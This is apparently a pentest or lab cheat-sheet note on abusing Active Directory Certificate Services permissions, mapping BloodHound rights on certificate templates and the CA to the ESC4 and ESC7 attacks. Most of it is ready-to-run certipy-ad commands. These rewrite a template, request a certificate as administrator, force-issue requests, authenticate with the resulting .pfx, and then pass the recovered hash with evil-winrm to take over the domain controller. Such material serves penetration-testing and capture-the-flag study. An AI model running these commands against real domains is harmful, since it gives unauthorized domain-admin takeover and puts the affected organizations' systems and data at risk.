AD CS Permissions — Certificate Template & CA ACL Abuse
Ctrl+F:
certificate template·certificate authority·ESC4·ESC7·ManageCA·ManageCertificates
Active Directory Certificate Services (AD CS) objects have their own DACLs — separate from normal user/group ACLs. BloodHound may show edges to certificate templates or the CA object.
Not the same as template misconfiguration (ESC1/ESC2/ESC9) — this note is ACL abuse on AD CS objects.
📌 BloodHound — two object types
Certificate Template ACL
Owned User
│
Write / GenericAll / WriteDacl
▼
Certificate Template (e.g. VulnTemplate)Your first thought:
“Can I modify the template → request cert as DA?” → ESC4
Full exploit → ESC4 · AD CS ESC
Certificate Authority ACL
Owned User
│
ManageCA / ManageCertificates / WriteDacl
▼
Certificate Authority (CA server)Your first thought:
“Can I approve or issue certificates directly?” → ESC7
Full exploit → ESC7 · AD CS ESC
📌 Permission → ESC map
| BloodHound / ACE right | On object | ESC | Vault note |
|---|---|---|---|
| Write, GenericAll, WriteDacl | Certificate Template | ESC4 | ESC4 |
| ManageCA | Certificate Authority | ESC7 | ESC7 |
| ManageCertificates | Certificate Authority | ESC7 | ESC7 |
| Enroll | Template (low priv) | ESC1-style if template also misconfigured | ESC1 |
| Template flags (no ACL) | Enrollee supplies SAN, etc. | ESC1/2/3/9 | AD CS ESC |
📌 Step 0 — Always enumerate first
certipy-ad find -u user@domain.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -iE 'ESC4|ESC7|template|CA' *_Certipy.txt→ Certipy & Certify > find — enumerate · AD CS ESC
BloodHound queries: Find Principals with CA rights · ACEs on CertTemplate / EnterpriseCA nodes.
📌 ESC4 — Template ACL (execute)
You have Write on template → enable vulnerable config → request as administrator:
certipy-ad template -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-template VulnTemplate -write-default-configuration
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-ca CA_NAME -template VulnTemplate -upn administrator@domain.htb
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'domain.htb' -dc-ip DC_IP→ Full walkthrough: ESC4 → then ESC1 request flow if needed
📌 ESC7 — CA ACL (execute)
You have ManageCertificates / ManageCA:
certipy-ad req -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-ca CA_NAME -template User -upn administrator@domain.htb
certipy-ad ca -u user@domain.htb -p 'PASS' -dc-ip DC_IP \
-ca CA_NAME -issue-request REQUEST_ID
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'domain.htb' -dc-ip DC_IP→ Full walkthrough: ESC7
External: Hacker Recipes — Certificate Templates ESC4 · CA ESC7
📌 After .pfx — standard priv esc
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'domain.htb' -dc-ip DC_IP
evil-winrm -i DC_IP -u Administrator -H NTHASH→ AD CS ESC > 📌 Generic post-cert workflow · Use Kerberos Ticket
📌 Overlap with other AD Permissions
| If you have… | On template/CA | Use |
|---|---|---|
| WriteDacl | Template or CA | Grant yourself Write / ManageCA → then ESC4/ESC7 |
| WriteOwner | Template or CA | Own object → grant rights → ESC4/ESC7 |
| GenericAll | Template | Direct ESC4-style modify |
📌 Quick cheat sheet
certipy-ad find -u user@domain.htb -p 'PASS' -dc-ip DC_IP -vulnerable
grep -i ESC4 *_Certipy.txt # template ACL → [[ESC4]]
grep -i ESC7 *_Certipy.txt # CA ACL → [[ESC7]]
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'domain.htb' -dc-ip DC_IP